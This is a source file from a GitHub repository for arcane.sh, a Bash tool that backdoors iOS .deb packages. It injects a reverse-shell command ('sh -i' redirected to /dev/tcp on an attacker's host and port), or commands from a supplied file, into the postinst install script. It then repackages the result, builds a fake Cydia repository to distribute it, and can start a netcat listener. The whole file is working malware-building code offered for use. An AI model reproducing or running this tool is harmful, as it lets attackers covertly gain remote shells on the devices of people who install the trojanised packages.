-
Notifications
You must be signed in to change notification settings - Fork 30
/
arcane.sh
executable file
·373 lines (326 loc) · 12.1 KB
/
arcane.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
#!/bin/bash
# version 0.1 by https://twitter.com/tokyoneon_
# writeup: https://null-byte.com/a-0324811/
# depends: apt-get install -Vy bzip2 netcat-traditional dpkg coreutils
clear;
# Various places throughout the resource files require an arbitrary
# string. Any alias will do fine here. If intended for Cydia, use
# your Github Pages username.
hacker="Arcane";
# The color codes used to print messages in the terminal.
# Respectively: no color, red, yellow, green.
color=("\e[0;39m" "\e[1;31m" "\e[1;33m" "\e[1;32m");
# A messaging function that uses the previously defined color code
# array to print output in the terminal.
function msg ()
{
case "$2" in
crit | critical)
C="${color[1]}\n";
S="exit 1"
;;
warn | warning)
C="${color[2]}";
S="sleep 1.5"
;;
succ | success)
C="${color[3]}";
S="sleep .5"
;;
esac;
echo -e "$C[░]${color[0]} $1";
eval "$S";
unset C
};
# A simple error handling function that evaluates the exit code
# of commands and displays a desired "success" or "failure" message.
# For those comfortable with Bash, this is probably considered
# overkill. But I wanted the script to help beginners catch (and
# understand) where and why some commands might fail.
function status ()
{
# https://www.cyberciti.biz/faq/bash-get-exit-code-of-command/
if [[ "$?" -eq '0' ]]; then
msg "$1" succ;
else
msg "$2" crit;
fi
};
# Gotta have a --help menu.
function help_menu ()
{
msg "./arcane.sh --input package.deb --lhost <attacker ip> --lport <1337>\n
-i, --input\tiOS package to backdoor
-f, --file\tfile containing commands to exec (default: not required)
-h, --lhost\tlocal ip address for nc listener
-p, --lport\tlocal port for netcat listener (default: 1337)
-c, --cydia\tgenerate resources for apt/cydia repository (default: disabled)
-n, --netcat\tautostart netcat listener (default: disabled)
-u, --udp\tenable udp (default: tcp)
-x, --noart\tif you hate awesome ascii art (default: enabled)
--help\tyou're looking at it" crit;
};
# The default listening port used when starting a Netcat listener.
lport="1337";
# The default protocol used when starting a listener.
proto=("tcp");
# A function to parse command-line arguments. It will iterate through
# all of the user input and case values as defined.
function input_args ()
{
while [[ "$#" != 0 ]]; do
case "$1" in
-i | --input)
if [[ ! -f "$2" ]]; then
help_menu;
else
input="$2";
lhost="0";
fi
;;
-u | --udp)
proto=("udp" " -u ")
;;
-p | --lport)
lport="$2"
;;
-h | --lhost)
lhost="$2"
;;
-n | --netcat)
netcat="1"
;;
-c | --cydia)
cydia="1"
;;
-f | --file)
if [[ ! -f "$2" ]]; then
msg "file not found, check file path and filename" warn;
help_menu
else
infile="$2"
fi
;;
-x | --noart)
asciiArt="0"
;;
--help)
help_menu
;;
esac;
shift;
done
};
input_args "$@";
# Check to ensure the --lhost and --input file have been defined.
[[ ! -n "$lhost" || ! -n "$input" ]] &&
help_menu;
# Display Arcane ascii art. Use -x to silence the awesomeness.
function ascii_art ()
{
arcane='
░█████╗░██████╗░░█████╗░░█████╗░███╗░░██╗███████╗
██╔══██╗██╔══██╗██╔══██╗██╔══██╗████╗░██║██╔════╝
███████║██████╔╝██║░░╚═╝███████║██╔██╗██║█████╗░░
██╔══██║██╔══██╗██║░░██╗██╔══██║██║╚████║██╔══╝░░
██║░░██║██║░░██║╚█████╔╝██║░░██║██║░╚███║███████╗
╚═╝░░╚═╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝╚═╝░░╚══╝╚══════╝
v0.1 by @tokyoneon_';
# A loop to print one character in the above ascii art at a time.
# Admittedly, this is entirely theatrical, but it's pretty cool.
for ((i=0; i<${#arcane}; i++ ))
do
# Adjust the sleep to change the speed.
sleep .0018;
printf "${color[1]}%s${color[0]}" "${arcane:$i:1}";
done;
printf "\n\n"
};
# Comment the following two lines to permanently suppress the art.
[[ "$asciiArt" != '0' ]] &&
ascii_art;
# The working directory when decompressing and backdooring packages.
tmp="/tmp/.arcane";
# Create a temporary directory in /tmp.
[[ ! -d "$tmp" ]] &&
mkdir -p "$tmp";
# Strip file path from input file. Used in following `tmp` variable.
i="$(basename $input)";
# The date is appended to the directory to prevent clobbering.
tmp="$tmp/${i%.*}-$(date +%H%M%S)";
msg "working directory: $tmp";
# The UDP feature is disable, bash/sh in iOS doesn't seem to function
# with the below $payload. UDP connections are established but don't
# handle user input well. If you wish to solve this issue, comment
# the following 3 lines to re-enable UDP functionality.
[[ "${proto[1]}" ]] &&
msg "the --udp feature is temporarily disabled. see arcane.sh source" warn;
proto=("tcp" " ");
# The default Bash command used to establish connections to the
# attacker's system if no input file is detected. Complex alternatives
# exist, however, this works well for simple PoC scripts.
payload="/bin/bash -c \"export PS1='\e[1;31marcane>\e[0;39m ';sh -i >& /dev/${proto[0]}/$lhost/$lport 0>&1 &\"";
# An `if` statement that prints the kind of backdoor.
if [[ "$infile" ]]; then
msg "utilizing file: $infile\n";
else
msg "utilizing generic ${proto[0]} backdoor\n";
fi;
# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. This file is responsible for how `dpkg` manages
# files in the package. The `$hacker` variable is used here to occupy
# various arbitrary fields.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: tokyoneon <https://tokyoneon.github.io/>
Maintainer: tokyoneon <https://tokyoneon.github.io/>";
# Decompress the input package. Use -R to preserve the control and
# postinst files.
dpkg-deb -R "$input" "$tmp";
status "unpacked $input" "error unpacking input file";
# The DEBIAN (case-sensitive) directory holds the control and postinst
# files. If it doesn't exist, Arcane will attempt to create it.
if [[ ! -d "$tmp/DEBIAN" ]]; then
mkdir -p "$tmp/DEBIAN";
status "created directory: $tmp/DEBIAN" "error creating directory";
fi;
# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# If no control is detected, create it using the template.
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "created control file" "error with control template";
else
# If a control file exists, Arcane will simply rename the package
# as it appears in the list of available Cydia applications. This
# makes the package easier to location in Cydia.
msg "detected control file" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "modified control file" "error with control";
fi;
# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the file.
postinst="$tmp/DEBIAN/postinst";
# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
{
# If --file is used, `cat` the command(s) into the postinst file.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# If no --file, utilize the simple Bash payload, previously
# defined.
echo -e "$payload" >> "$postinst";
embed="generic shell command";
fi;
status "embedded $embed into postinst" "error embedding backdoor";
chmod 0755 "$postinst"
};
# If the postinst file doesn't exist, or if it's completely empty,
# create it. The `-f` and `-s` conditional operators are used to
# evaluate the state of the file.
# https://www.sanspire.com/bash-if-statement-and-comparison-operators/
if [[ ! -f "$postinst" || ! -s "$postinst" ]]; then
msg "postinst file not found" warn;
printf '%s\n' '#!/bin/bash' > "$postinst";
status "created postinst file" "error creating postinst";
fi;
inject_backdoor;
# The filename of the modified package, clearly labeled.
backdoored="${input%.*}_BACKDOORED.deb";
# Print for dramatic effect.
msg "attempting to rebuild package" warn;
printf "${color[2]}[░]${color[0]} ";
# Re-compile the backdoored iOS package.
dpkg -b "$tmp" "$backdoored";
status "success!\n" "error rebuilding package";
# A function for Cydia-specific attacks. The function will create a
# working directory and generate several required files.
function cydia_build ()
{
# Define working directory.
cydia="/tmp/cydia";
msg "working cydia directory: $cydia\n";
# The "Packages" file template. APT repositories must contain a
# Packages file. It indexes all of the available packages in the
# repository, including version information, checksums,
# architecture type, priority level, etc. The below template uses
# the `$hacker` variable to fill arbitrary values.
# https://wiki.debian.org/DebianRepository/Format
packagesTemp="Package: backdoor
Version: 1337
Architecture: iphoneos-arm
Maintainer: $hacker <$hacker@noreply.com>
Installed-Size: 1968
Pre-Depends: dpkg (>= 1.14.25-8)
Depends: firmware (>= 9.0) | rtadvd
Filename: $(basename $backdoored)
Size: $(ls -l $backdoored | cut -d' ' -f5)
MD5sum: $(md5sum $backdoored | cut -d' ' -f1)
SHA1: $(sha1sum $backdoored | cut -d' ' -f1)
SHA256: $(sha256sum $backdoored | cut -d' ' -f1)
Section: Networking
Priority: optional
Multi-Arch: foreign
Homepage: https://tokyoneon.github.io/
Description: ios backdoor
Depiction: https://tokyoneon.github.io/about
Name: backdoor
Tag: purpose::daemon, role::hacker";
# The "Release" file template. It contains meta-information about
# the distribution and checksums for the indices. It is generally
# better not to modify this file as it may cause your package(s)
# to not appear in the Cydia app.
# https://wiki.debian.org/DebianRepository/Format#A.22Release.22_files
releaseTemp="Origin: $hacker
Label: $hacker
Suite: stable
Version: 1.0
Codename: ios
Architectures: iphoneos-arm
Components: main
Description: backdoor";
# Delete existing working directory related to Cydia config files.
if [[ -d "$cydia" ]]; then
rm -rf "$cydia";
status "purged existing cydia directory" "error deleting cydia directory";
fi;
# Create new working directory.
mkdir -p "$cydia";
# Create generic index.html for Github Pages.
echo "$hacker cydia repository" > "$cydia/index.html";
# Create required Packages using the template.
echo "$packagesTemp" > "$cydia/Packages";
status "created Packages file" "error creating Packages file";
# Compress the Packages file in bz2 format as required by some
# APT repositories.
bzip2 -c9 "$cydia/Packages" > "$cydia/Packages.bz2";
status "compressed Packages with bzip2" "error compressing Packages file";
# Create the Release file using the template.
echo "$releaseTemp" > "$cydia/Release";
status "created Release file" "error creating Release file";
# Copy the backdoored package into the Cydia directory.
cp "$backdoored" "$cydia/";
status "copied backdoored package into cydia directory\n" "error copying backdoored package"
};
[[ "$cydia" = '1' ]] &&
cydia_build;
# The Netcat command used by Arcane. Netcat's location on a given
# OS will sometimes change, also the $proto and $lport are dynamic.
netcatExec="$(command -v nc)${proto[1]}-v -l -p $lport";
msg "$netcatExec";
# An `if` statement to automate the execution of Netcat.
if [[ "$netcat" = '1' ]]; then
msg "starting netcat listener on port $lport with ${proto[0]}";
eval $netcatExec;
fi